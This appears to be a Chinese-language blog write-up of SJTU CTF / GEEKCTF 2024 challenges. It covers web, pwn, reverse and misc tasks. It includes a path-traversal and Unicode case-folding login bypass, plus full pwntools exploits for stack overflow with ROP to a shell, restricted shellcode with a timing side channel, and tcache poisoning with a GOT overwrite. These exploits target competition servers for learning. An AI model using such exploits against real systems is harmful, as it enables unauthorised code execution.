for i in range(16):
    # p = binary.process()
    p = remote('0.cloud.chals.io', 10198)

    zeros = 19 - i
    print(f'zeros: {zeros}')
    # input zeros times of 0
    for _ in range(zeros):
        input(b'0')
    input(b'a')
    average_score = recv_average()
    print(f'average_score: {average_score}')
    tmp = sum
    sum = average_score * 20
    numbers[zeros] = int(sum - tmp)
    if numbers[zeros] < 0:
        numbers[zeros] = 0x100000000 + numbers[zeros]
    print(f'numbers[{zeros}]: {hex(numbers[zeros])}')
    p.close()

flag = b''

for i in range(4, 20):
    char1 = numbers[i] & 0xff
    char2 = (numbers[i] >> 8) & 0xff
    char3 = (numbers[i] >> 16) & 0xff
    char4 = (numbers[i] >> 24) & 0xff
    flag += bytes([char1, char2, char3, char4])

print(flag)
# TBTL{e4t_Y0ur_vegG13s_1n1714l1z3_y0ur_d4rn_v4r14bl35}

总结
#

Fun!!! 感谢主办方，难度梯度做得很好。

SJTU CTF 2024 暨 GEEKCTF 2024 WriteUp

root@beacox.space (BeaCox) — Fri, 26 Apr 2024 14:30:00 +0000

前言
#

记录一下打CTF以来做出题目最多的一次。这次的题目是 SJTU CTF 2024 校内赛和第一届 GEEKCTF 共用的。所有题目都可以在GEEKCTF官网找到，由于我是在校内平台做的，flag 可能会略有不同，但是解题的方法应该是一样的。

WEB
#

Secrets
#

本题的漏洞点是任意文件读取+特殊字符绕过 upper/lower。

攻击流程如下：

选一个主题后，在登录页面抓包，发现有一个redirectCustomAsset路由

Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: asset=assets/css/pico.cyan.min.css

看上去是用来读取不同主题的 css 文件，但是是相对于网站根目录的相对路径。因此猜测可以读取网站目录下的所有文件。

在登陆页面查看网页源代码，发现 body 后面有一串看不懂的编码，放到 cyberchef 里一个个试发现是 Base85 ：

解码结果

其中比较重要的是app.py和populate.py。

将Cookie改成asset=app.py会回显hacker，改成asset=assets/css/../../app.py即可得到网站的源代码。

在app.py里面硬编码了用户名和密码：

    def isEqual(a, b):
        return a.lower() != b.lower() and a.upper() == b.upper()
    ……
    if isEqual(username, "alice") and isEqual(password, "start2024"):
        session["logged_in"] = True
        session["role"] = "user"
        return redirect("/")

但是isEqual要求用户名和密码都需要满足小写化后不等于硬编码的用户名/密码，大写化后又要等于。第一眼看懵了，小写不相等但是大写相等？问下 claude ：

进一步搜索发现 upper 对 unicode 特殊字符的处理有些问题，用unicode包裹起来才会得到正确的大写。不过 claude 给的字符似乎不对，直接用 Python 遍历 unicode 字符好了：

def find_replacement_char(ch):
    # 遍历 Unicode 字符范围 0x0000 到 0x10FFFF
    for i in range(0x110000):
        try:
            char = chr(i)
            if char.upper() == ch.upper() and char!=ch and char!=ch.upper():
                print(char)
        except ValueError:
            # 某些 Unicode 码点无法转换为有效字符,跳过
            pass

find_replacement_char('i')

只找到了i的替代字符ı，s的替代字符ſ。输入用户名alıce，密码ſtart2024，登录成功！

再看看populate.py：

import os

from app import Notes, app, db

with app.app_context():
    db.create_all()
    if not Notes.query.filter_by(type="notes").first():
        db.session.add(Notes(title="Hello, world!", message="This is an example note."))
        db.session.add(
            Notes(
                title="Where's flag?",
                message="Flag is waiting for you inside secrets.",
            )
        )
    if not Notes.query.filter_by(type="secrets").first():
        db.session.add(
            Notes(
                title="Secret flag",
                message=os.environ.get("FLAG", "fake{flag}"),
                type="secrets",
            )
        )
    db.session.commit()

也就是说 type=secrets 会给我们 flag ，但是在app.py里还有过滤：

    type = request.args.get("type", "notes").strip()
    if ("secrets" in type.lower() or "SECRETS" in type.upper()) and session.get(
        "role"
    ) != "admin":
        return render_template(
            "index.html",
            notes=[],
            error="You are not admin. Only admin can view secre<u>ts</u>.",
        )
    q = db.session.query(Notes)
    q = q.filter(Notes.type == type)
    notes = q.all()
    return render_template("index.html", notes=notes)

我们需要让and前面的逻辑表达式为否才能够不返回错误、获得 flag。

因此要想查看 flag，type 的参数需要是 secrets 的变体，页面上给 secrets 的 ts 划了下划线，猜测是提示将这两个字符换成特殊字符。

打开 Burp 的 intruder，payload 选用simple list，从网上下载了一个特殊字符的列表来爆破ts。

最后 ts 替换成Æ¾时，response 的 length 不一样，点进去看详情就能看到 flag。

flag:

0ops{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}

PWN
#

Memo0
#

本题的漏洞点是~~整数溢出和栈溢出~~。但是用不到，只需要逆向出密码。

攻击流程如下：

首先要输入密码登录，密码通过一个加密算法后与J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd==对比，长得很像 base64，但是用 base64 解码出来不对。把sub_12E9的加密函数丢给 claude，直接逆出了密码。。。

def decode(encoded_data):
    # 计算解码后的数据长度
    length = len(encoded_data)
    decoded_length = (length * 3) // 4
    if encoded_data[-1] == '=':
        decoded_length -= 1
    if encoded_data[-2] == '=':
        decoded_length -= 1
    
    # 创建解码后的数据缓冲区
    decoded = bytearray(decoded_length)
    
    # 标准 Base64 字符映射表
    base64_chars = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"
    
    # 遍历编码数据并解码
    for i in range(0, length, 4):
        value = 0
        for j in range(4):
            if i + j < length:
                char = encoded_data[i + j]
                if char == '=':
                    value <<= 6 * (3 - j)
                else:
                    value |= base64_chars.index(char) << 6 * (3 - j)
        
        # 将 24 位值拆分成 3 个字节并写入解码后的数据
        decoded_pos = i // 4 * 3
        decoded[decoded_pos] = (value >> 16) & 0xFF
        if decoded_pos + 1 < decoded_length:
            decoded[decoded_pos + 1] = (value >> 8) & 0xFF
        if decoded_pos + 2 < decoded_length:
            decoded[decoded_pos + 2] = value & 0xFF
    
    return decoded.decode('latin-1')

print(decode('J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd=='))
# CTF_is_interesting_isn0t_itÀ

但是好像有点问题，将À改成?就对了。

一开始没有在本地新建flag文件，ida里面还把win函数看漏了。。。导致还在继续用栈溢出去劫持 control flow 调用win，其实逆向出密码就可以得到 flag。

完整exp：

nc 111.186.57.85 40310
===================Memo Login===================
Please enter your password: CTF_is_interesting_isn0t_it?
Login Success!
0ops{U_r_th3_ma5ter_0f_ba5e64}

flag:

0ops{U_r_th3_ma5ter_0f_ba5e64}

Memo1
#

本题的漏洞点是整数溢出和栈溢出。

攻击流程如下：

首先checksec：

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'

保护全开。然后看main函数，发现供用户输入的字符串在栈上，大小是264字节，乍一看用户也只能输入0x100即256字节，很安全。但是在实现edit功能的函数里面：

lea     rax, aLld       ; "%lld"
mov     rdi, rax
mov     eax, 0
call    ___isoc99_scanf
mov     edx, [rbp+var_1C]
mov     rax, [rbp+var_10]
cmp     rdx, rax
jle     short loc_1873
mov     rax, [rbp+var_10]
mov     edx, eax
mov     rax, [rbp+var_18]
mov     esi, edx
mov     rdi, rax
call    sub_170E

可以发现，允许用户输入的是有符号数，而比较的时候却是根据无符号数进行比较，然后在读取用户输入的时候又使用其低32位作为允许输入的长度，因此会出现类似0xffffffff00000109 < 0x8的情况，却允许用户输入0x109个字节。

为了能够输入我们想要的长度，需要将0xffffffff00000109这样的数转换成相应的负数：

def convert_to_signed(num):
    return (-1)*(0xffffffff-num)-1

至此，我们总结一下能够利用的漏洞：

可以利用整数溢出在栈上写非常长的内容，因此可以利用栈溢出劫持程序控制流。

但是由于保护全开且没有win函数，因此我们需要先leak canary，然后leak libc，最后在栈上布局 ROP chain 来 get shell。

我们先在sub_170e函数（读取用户输入的函数）处下一个断点，观察栈的布局。

发现 canary 距离用户输入的起始位置为0x108字节，因此我们需要覆盖用户输入的前0x109字节为非0字符，然后调用 show 就可以连带 canary 一起输出出来。而读取用户输入的sub_170e函数是一个带0截断的函数：当我们输入\n会被替换成\x00，如果长度参数正好等于我们输入的长度，就不会添0。因此我们需要让其长度参数恰好等于0x109，也就是在调用edit时，输入的长度为convert_to_signed(0x109)。然后输入0x109个A，再调用 show ，最后7位就是 canary 的高7位。

用户输入的起始位置加上0x118个字节是 libc 的地址，与基地址的偏移是0x29d90，使用和 leak canary 几乎一样的方法可以 leak libc。

最后就是在栈上布局 rop chain 了。因为有libc，因此可以直接用 libc 的 gadgets ，使用 pwntools 构造一个execve('/bin/sh',0,0)的 Rop，在栈上 canary 的位置填入 canary ，返回地址处布局 rop chain ，即可得到 shell。

rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload = b'A' * 0x108 + p64(canary) + b'B' * 0x8 + rop.chain()
edit(convert_to_signed(len(payload)), payload)

完整 exp：

from pwn import *

binary = context.binary = ELF('./memo1')
libc = binary.libc

# p = process(binary.path)
p = remote('111.186.57.85', 40311)

password = b'CTF_is_interesting_isn0t_it?'
p.recvuntil(b'Please enter your password: ')
p.sendline(password)
# then it is a overflow

def add(payload):
    p.sendlineafter(b'Your choice:', b'1')
    p.sendlineafter(b'What do you want to write in the memo:', payload)

def show():
    p.sendlineafter(b'Your choice:', b'2')
    p.recvuntil(b'Content:\n')
    return p.recvline()[:-1]

def edit(length, payload):
    p.sendlineafter(b'Your choice:', b'3')
    p.sendlineafter(b'How many characters do you want to change:', str(length).encode())
    p.send(payload)

def get_flag():
    p.sendlineafter(b'Your choice:', b'114514')
    p.interactive()

# beause there is a jle instruction, so we can use negative number to bypass it
def convert_to_signed(num):
    return (-1)*(0xffffffff-num)-1

main_offset = 0x1938
libc_offset = 0x29d90

### first leak canary
add(b'A' * 0x8)
edit(convert_to_signed(0x109), b'A'*0x109)
response = show()
canary = response[0x109:0x109+7].rjust(8, b'\x00')
canary = u64(canary)
info(f'[LEAK]: canary: {hex(canary)}')

### leak libc address
payload = b'A' * 0x118
edit(convert_to_signed(len(payload)), payload)
response = show()
libc_leak = response[0x118:0x118+6].ljust(8, b'\x00')
libc_leak = u64(libc_leak)
info(f'[LEAK]: libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'[LEAK & CALC]: libc_base: {hex(libc.address)}')

### leak pie address
# payload = b'A' * 0x128
# edit(convert_to_signed(len(payload)), payload)
# response = show()
# main_addr = response[0x128:0x128+6].ljust(8, b'\x00')
# main_addr = u64(main_addr)
# elf.address = main_addr - main_offset
# info(f'[LEAK & CALC]: pie_base: {hex(elf.address)}')

# gdb.attach(p, '''
# ''')

### no win_func now, wo we use rop
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload = b'A' * 0x108 + p64(canary) + b'B' * 0x8 + rop.chain()
edit(convert_to_signed(len(payload)), payload)

get_flag()

flag:

0ops{5t4ck_0v3rfl0w_1s_d4ng3r0u5_233}

Shellcode
#

本题的考察点正如题名是 shellcode，但是 seccomp 只允许了 open 和 read ，没有 write ，因此需要利用循环来实现类似侧信道攻击。另外，对 shellcode 的字节做了限制：

偶数索引处的字节必须是偶数，奇数索引处的字节必须是奇数

  for ( i = 0; i < v5; ++i )
  {
    if ( (char)(*((char *)buf + i) % 2) != i % 2 )
      return 0xFFFFFFFFLL;
  }

大于0x80的奇数不能用

mov     rax, [rbp+buf]
add     rax, rdx
movzx   eax, byte ptr [rax]
mov     edx, eax
sar     dl, 7
shr     dl, 7
add     eax, edx
and     eax, 1
sub     eax, edx
movsx   ecx, al

这段实际上是将 shellcode 的字节作为一字节的有符号数来对2取模，因此类似于0x81这样的大于0x80的奇数模2后的结果是-1而不是1，但是对索引的取模是看作无符号数，因此奇数索引处取模是1而不等于-1。这也就代表着大于0x80的奇数不能出现在 shellcode 中，这点非常坑。。。比前一点限制花了我更多时间。因为这个限制相当于把一般的jmp长跳转、call、ret、syscall全都禁止掉了。

思路：

由于我们还要进行侧信道攻击，不可能每爆破一个字节都构造一个能满足要求的 shellcode，因此考虑分两个阶段：

阶段1：调用 read 函数，rdi设置一阶段 shellcode 的起始位置，并将返回地址设置为这个起始地址
阶段2：输入二阶段进行侧信道攻击的 shellcode，read 将返回到我们输入的这个 shellcode

每个二阶段 shellcode 爆破一个字节：将[flag_addr+i]与每个可见字符作比较，相等时进入死循环，通过对时间的测量就能知道 flag 的每个字节是哪个字符值。

开凑：

先凑一阶段的 shellcode 。由于限制非常多，因此考虑尽量利用栈上已有的内容和寄存器中已有的内容（pop和push某个寄存器都是一字节的指令，不同寄存器奇偶性质不同，很容易满足限制的要求）。

rsp的最顶端是返回地址即main+0xc4，我们将这个地址pop到rax，然后对rax进行xor操作，可以得到read@plt，方便后续调用read库函数。有了这个思路，我们就需要布置好read的参数。rdi现在恰好是0，符合我们的要求，不去修改。rsi也是输入的起始地址不需要修改。rdx需要修改为我们想要输入的长度，经过观察rsp+0x8处的低8位正好是我们一阶段输入的长度，因此我们只需要将rsp+0x8的低8位值放到rdx中去即可：

    pop rax
    pop rbx
    nop
    xor edx, ebx
    pop rbx
    xor ax, 0x03e6
    xor ax, 0x100
    sub al, 1

这样就已经将read@plt放到了rax里面，并布置好了rdi, rsi 和 rdx。接下来的问题就是如何调用rax中存储的函数。已知jmp的长跳转、call、ret、syscall都不符合这道题的过滤要求。怎么办？想起之前用ROPgadget的时候看到ret{num}这种形式的指令，去搜了一下，发现是ret之后，令rsp增加num字节。字节码是：b'\xc2\x01\x00'正好满足要求。但是又出现一个新的问题：

栈指针增长奇数个字节后，我们就无法控制返回地址了。

因此想到，如果在ret {num}之前先让栈增长或者减少奇数字节，而且这个命令能够通过过滤，就能解决这个问题。搜索发现有一个enter指令：

enter指令的完整格式是:

enter bytes, level

其中:

bytes是一个立即数,表示当前函数需要在栈上分配的空间大小(以字节为单位)。这个值通常就是函数内局部变量所需的大小。
level是另一个立即数,表示嵌套函数调用的层数。通常这个值为 0。

我这里用一个enter 0x1, 0x3，level 是我随便指定的，在 gdb 里面看效果：

栈指针减少了0x21字节，那么我们再用ret 9就可以让栈重新和8字节对齐，在那之前先把read@plt的地址push入栈，ret的时候才能返回到read，等后面栈指针增加和8字节对齐的时候可以返回到我们在enter之前push入栈的 shellcode 地址。

    nop
    push rbx
    push rax
    push rbx
    push rax
    push rbx
    enter 0x1, 0x3
    nop
    pop rbx
    push rax
    push rbx
    nop
    pop rbx
    ret 0x0009
    pop rbx

至此第一阶段就构造完成了，第二阶段的 shellcode 就是open('flag', 0)然后read第i个索引处的字节，与各个可见字符进行比较，如果相等就死循环，通过时间判断是否命中，逐字节爆破到}为止，完整 exp 如下：

# no write for us
# defeat seccomp reference: https://tttang.com/archive/1447/#toc_wirte
# by pass shellcode check reference: 
# - https://www.roderickchan.cn/zh-cn/2022-04-30-angstromctf-pwn/
# - https://ctftime.org/writeup/33656
# - https://hackmd.io/@DJRcJnpzRDK3J_8-dhv_dA/rycDEyFSq#parity
# - https://www.aynakeya.com/ctf-writeup/2022/angstrom/pwn/parity/

from pwn import *

binary = context.binary = ELF('./shellcode')
# context.log_level = 'critical'

shellcode1_part1 = asm('''
    pop rax
    pop rbx
    nop
    xor edx, ebx
    pop rbx
    xor ax, 0x03e6
    xor ax, 0x100
    sub al, 1
    nop
    push rbx
    push rax
    push rbx
    push rax
''')

shellcode1_part2 = asm('''
    push rbx
    enter 0x1, 0x3
    nop
    pop rbx
    push rax
    push rbx
    nop
    pop rbx
    ret 0x0009
    pop rbx
''')

shellcode1 = shellcode1_part1 + shellcode1_part2
lenth = len(shellcode1)
padding_times = int((0x200 - lenth) / 2)
padding = b'\x90\x61' * padding_times
shellcode1 = shellcode1 + padding

for i, c in enumerate(shellcode1):
    # if c >= 0b10000000:
    #     log.info("bad byte %s at index %d" % (hex(c), i))
    #     log.error(shellcode1)
    if i & 1 != c & 1:
        log.info("bad byte %s at index %d" % (hex(c), i))
        log.error(shellcode1)
    if c & 1 == 1 and c > 0x80:
        log.info("negative byte %s at index %d" % (hex(c), i))
        log.error(shellcode1)

# we need brute force every byte of flag
# the seach space is 0x20 ~ 0x7e
search_space = [i for i in range(0x20, 0x7e)]

flag_probable_len = 0x40
flag = ''
for i in range(flag_probable_len):
    for ch in search_space:
        # p = process(binary.path)
        p = remote('111.186.57.85',40245)
        p.recvuntil(b'Please input your shellcode: \n')
        ### stage1: call a read syscall to read shellcode
        p.send(shellcode1)
        ### stage2: fuck yeah! we can send shellcode without limitation now
        # but we have no write
        # so we have to use ways like side channel
        shellcode2 = asm(f'''
        lea rdi, [rip+flag]
        mov rsi, 0
        mov rax, 2
        syscall
        mov rdi, rax
        mov rsi, rsp
        mov rdx, 0x100
        mov rax, 0
        syscall
        loop:
        xor rax, rax
        xor rbx, rbx
        mov al, byte ptr[rsp+{i}]
        mov bl, {ch}
        cmp al, bl
        je loop
        flag:
            .string "./flag"
        ''')
        shellcode2 += b'\x90' * (0x200 - len(shellcode2))
        p.send(shellcode2)
        # learned from changcheng cup...
        p.shutdown('send')

        # now if ch is the right byte, the program will be in a dead loop
        # otherwise the program will die
        sleep(1)
        # if p.poll() == None:
        #     flag += chr(ch)
        #     print("flag is now: ", flag)
        #     p.close()
        #     break
        # else:
        #     p.close()
        #     continue
        try:
            detection = p.fileno()
            p.recv(timeout=0.1)
            flag += chr(ch)
            print("flag is now: ", flag)
            p.close()
            break
        except:
            p.close()
            continue

    if flag[:-1] == '}':
        break

print(flag)

flag:

0ops{practice_handwrite_shellcode}

flat
#

本题的考察点是 deflat 去混淆和 tcache 劫持。

其实题目对 deflat 的提示很明显，但是我一开始没往这方面向，直到出 flag 才知道要用 deflat，一开始是自己手动去混淆的：

先看明白了每种操作对应一个opcode，然后找==，然后根据i=xxxxx去找casexxxxx，有if的就猜测可能是对什么进行判断（比如索引、size），然后选一个i去找case……最后硬是把程序的主要逻辑逆向出来了：

48879: 退出程序
4112：堆块写，但是最后一位由程序置零（edit_0_end）

e.g. edit_0_end(index, payload)

会对index所对应位置的size和address做非空检查，且0<=index<31，payload的长度实际上最多比size少1，最后一字节会被置0
768: malloc

e.g. malloc(index, size, payload)

会对index所对应位置的size和address做非空检查，且0<=index<31，payload的长度实际上最多比size少1，最后一字节会被置0
2989: 堆块写（edit）

e.g. edit(index, payload)

会对index所对应位置的size和address做非空检查，且0<=index<31，payload的长度恰好等于size
4919: free

e.g.free(index)

会检查0<=inex<31，检查address处是否已经为空，然后将对应address和size都置零。
57005: 堆块读（puts）

会对index所对应位置的size和address做非空检查，且0<=index<31，然后puts堆块内容

但是这里的0截断并没有off-by-null漏洞，在how2heap找了半天找不到利用方法。于是在gdb里先试着：

from pwn import *

binary = context.binary = ELF('./flat')
libc = binary.libc

p = binary.process()

def malloc(index, size, data):
    p.sendline(b'768') 
    p.sendline(str(index).encode())
    p.sendline(str(size).encode())
    p.sendline(data)

def free(index):
    p.sendline(b'4919')
    p.sendline(str(index).encode())

def edit(index, data):
    p.sendline(b'2989')
    p.sendline(str(index).encode())
    p.send(data)

def edit_0_end(index, data):
    p.sendline(b'4112')
    p.sendline(str(index).encode())
    p.sendline(data)

def puts(index):
    p.sendline(b'57005')
    p.sendline(str(index).encode())
    return p.recvline().strip()

malloc(0,0x100, b'a')
edit(0, cyclic(0x100))
# gdb.attach(p)
malloc(1,0x100, b'b')
edit(1, cyclic(0x100))

发现mallo个两次0x100大小的堆块程序就退出了，于是在第一次后面把gdb附上去：

十分离谱……我到现在也没弄明白这个漏洞是哪里来的。

换成0x80及以下似乎就没这种情况,0x90的时候链表有两个值，分别是我们输入的0x80处和0x88处，也就是说我们在0x80和0x88处写上合法的地址，下一次malloc相应大小的chunk就能控制我们输入的地址。

checksec一下：

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'.'

那么我们现在需要做的就很清晰：

leak libc
got hijacking
get shell

首先，准备好用于leak和劫持的堆块，以及写有/bin/sh的堆块；然后malloc一个可用大小为0x90的堆块，malloc一个可用大小为0x330（实际大小为0x340）的堆块并free掉，使得tcache的0x340大小链表有一项。然后往0x90大小的堆块里面填满heap_manager地址（也就是该程序用来管理堆块的区域起始地址）。这样当我们再malloc一个可用大小为0x330到0x338大小的堆块时，就会返回heap_manager的地址。我们往这里面填入0x1000和free_got的地址，这样程序自定义的堆管理器就会认为index0处之前malloc了一个可用大小为0x1000的堆块，且位于free_got。因此我们这时再puts(0)就不会报错，也就能够leak出libc中free的地址，也就知道了libc的基地址。然后利用这个基地址知道system的地址，往0写入这个地址，也就将free劫持到system。最后我们free(1)，1是我们之前放/bin/sh的地方，此时执行system('/bin/sh')，得到shell。

完整exp：

from pwn import *

binary = context.binary = ELF('./flat')
libc = binary.libc

# p = binary.process()
p = remote('111.186.57.85', 40246)

def malloc(index, size, data):
    p.sendline(b'768') 
    p.sendline(str(index).encode())
    p.sendline(str(size).encode())
    p.sendline(data)

def free(index):
    p.sendline(b'4919')
    p.sendline(str(index).encode())

def edit(index, data):
    p.sendline(b'2989')
    p.sendline(str(index).encode())
    p.send(data)

def edit_0_end(index, data):
    p.sendline(b'4112')
    p.sendline(str(index).encode())
    p.sendline(data)

def puts(index):
    p.sendline(b'57005')
    p.sendline(str(index).encode())
    return p.recvline().strip()

free_got = binary.got['free']
heap_manager = 0x4060B0

# we will use this to get libc leak and control free_got
malloc(0,0x500, b'a')
malloc(1,0x20,b'/bin/sh\x00')
free(0)

# 2 is used to get control of tcache
malloc(2,0x90, b'b')
# 3 is used to make a tcache bin
malloc(3,0x330, b'c')
free(3)
gdb.attach(p)
edit(2,p64(heap_manager)*(0x90//8))
# now tcace bin is
# 0x340 [  1]: 0x4060b0 ◂— 0x0
# 0x350 [  0]: 0x4060b0 ◂— ...
payload=p64(0x1000)+p32(free_got)
# now we control the heap_manager
# we make index 0 's size 0x1000
# and we make index 1 's pointer to free_got
malloc(3,0x330,payload)
# this will puts what is on the free_got
response = puts(0)
libc_leak = response[-6:].ljust(8, b'\x00')
libc.address = u64(libc_leak) - libc.sym['free']
info(f'[LEAK&CALC]: libc_base: {hex(libc.address)}')
system = libc.sym['system']
# we overwrite free_got with system
edit_0_end(0,p64(system))
# 1's pointer point to /bin/sh
free(1)
p.interactive()

flag:

0ops{learning_deflat_trick_to_defeat_ollvm}

REVERSE
#

Peer-Trace
#

这道题的考察点是ptrace和strace的用法。

peer程序会调用puppet程序，并使用ptrace来在不同运行时刻监视peer程序并修改其内存/寄存器的值。

先从网上学习了下ptrace的用法，主要关注PTRACE_POKEDATA, PTRACE_SETREGS因为这两个会修改被监视子程序的内存/寄存器。

puppet程序的逻辑是读取一个输入，长度需要为48字节，然后逐字节与0x28异或，最后与ct区域的48字节做比较。

建议使用strace观察程序运行过程中ptrace相关内容：

strace ./peer

peer程序的主要逻辑可以通过观察PTRACE_POKEDATA, PTRACE_SETREGS和相应的ida伪代码得到：

对输入的48字节做下面的逻辑：
- 分为8组，对每组：
- 交换0，5
- 交换1，7
- 交换2，6
- *((_BYTE *)v25 + j) -= j + i，其中j是组内索引，i是组号，v25是每组的起始地址
- 交换3，4

在异或0x28后，劫持程序，对每个字节做如下修改：

  v25[0] = 0xA39C3E6994313F40LL;
  v25[1] = 0x17872470565B9B60LL;
  v25[2] = 0x11A918AABA97CA68LL;
  v25[3] = 0xB8F1B0AB9B3DD3B0LL;
  v25[4] = 0x488749FB6A1835E4LL;
  v25[5] = 0x82926F78FE98158LL;

每个字节分别与peer中此时的v25中对应字节相加，舍去进位。

最后再与puppet程序中ct区域的48字节作比较，需要相等。整个过程都是相对简单的可逆过程，将算法反过来即可。完整exp如下：

from pwn import *

v25 = p64(0xA39C3E6994313F40) + p64(0x17872470565B9B60) + p64(0x11A918AABA97CA68) + p64(0xB8F1B0AB9B3DD3B0) + p64(0x488749FB6A1835E4) + p64(0x82926F78FE98158)
ct = p64(0xe3de41c1f389569c) + p64(0x3500a2b1a46c9bd1) + p64(0x890a29f3d010d481) + p64(0x200f1fca08a04513) + p64(0xc3ab5b0381564f00) + p64(0x08953b09bbf7fdc7)
# tmp1 is the bytearray after xored
tmp1 = bytearray()
# each byte in tmp is the result of ct[i] - v25[i]
for i in range(48):
    if ct[i] < v25[i]:
        tmp1.append(ct[i] + 256 - v25[i])
    else:
        tmp1.append(ct[i] - v25[i])
# tmp1 is the bytearray before xored with 0x28
for i in range(48):
    tmp1[i] ^= 0x28
print(tmp1)

def reverse(cypher):
    # group cypher into 8 bytes
    cypher = [cypher[i:i+8] for i in range(0, len(cypher), 8)]
    # for each group, we decrypt it
    for i in range(len(cypher)):
        # swap BYTE3 and BYTE4
        tmp = cypher[i][3]
        cypher[i][3] = cypher[i][4]
        cypher[i][4] = tmp
        for j in range(8):
            cypher[i][j] += j + i*8
        # swap BYTE2 and BYTE6
        tmp = cypher[i][2]
        cypher[i][2] = cypher[i][6]
        cypher[i][6] = tmp
        # swap BYTE1 and BYTE7
        tmp = cypher[i][1]
        cypher[i][1] = cypher[i][7]
        cypher[i][7] = tmp
        # swap BYTE0 and BYTE5
        tmp = cypher[i][0]
        cypher[i][0] = cypher[i][5]
        cypher[i][5] = tmp

    # get the result
    result = b''
    for i in range(len(cypher)):
        result += bytes(cypher[i])
    print(result)


reverse(tmp1)

flag:

0ops{tr@cE_traC1Ng_tRAc3d_TRaces_z2CcT8SjWre0oP}

MISC
#

QrCode2
#

本题考查的是二维码的结构和标准~~qrazybox的使用~~。

之前在做hackergame还是geekgame的时候碰到一道华维码，是华容道和二维码还原的结合。题目没做出来，但是在群里看到个二维码仙人，整天在群里发他还原二维码的过程。这下真用上了，快说谢谢二维码仙人。

贴一个二维码仙人的二维码教程

要用到的工具是qrazybox

由于定位块缺失，我先直接根据图片把已知的黑色白色都填充上，然后一个一个试纠错等级，发现只有M0是符合的，然后用qrazybox的tools把padding bits补上：

但是缺失的内容实在太多了，无论是直接提取还是用Reed-Solomon Decoder都得不到flag，但是通过Data Sequence Analysis可以看到message data有一个}，而题目已经告诉我们这题的flag格式为flag{.*}，根据二维码格式，我们将前5位message data修改位flag{，这时候再用Reed-Solomon Decoder已经可以得到flag了。

修改数据后的结果：

flag:

flag{D4+4_2e(0\/3R_v_!5_S0_3a5_v}

WhereIsMyFlag
#

本题考察的是视力和对数据的处理能力。

在github的commit记录最后可以看到：

import gzip; import base64; gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

运行这段代码发现处理后的数据还是1f8b开头，推断仍然是gzip。直接写到文件里去：

import gzip
import base64
x = gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

with open("out.gz", "wb+") as f:
    f.write(x)

然后再终端反复解压缩，得到二进制文件后strings一下：

gzip -d out.gz
mv out out.gz
gzip -d out.gz
strings ./out

就可以得到flag:

flag{760671da3ca23cae060262190c01e575873c72e6}

RealOrNot
#

本题考查的是写脚本的能力，大概。

pow challenge 应该是区块链中的概念？但是和这道题关系不大，这题的pow challenge直接让AI就能写，要花太长时间的challenge就跳过好了。

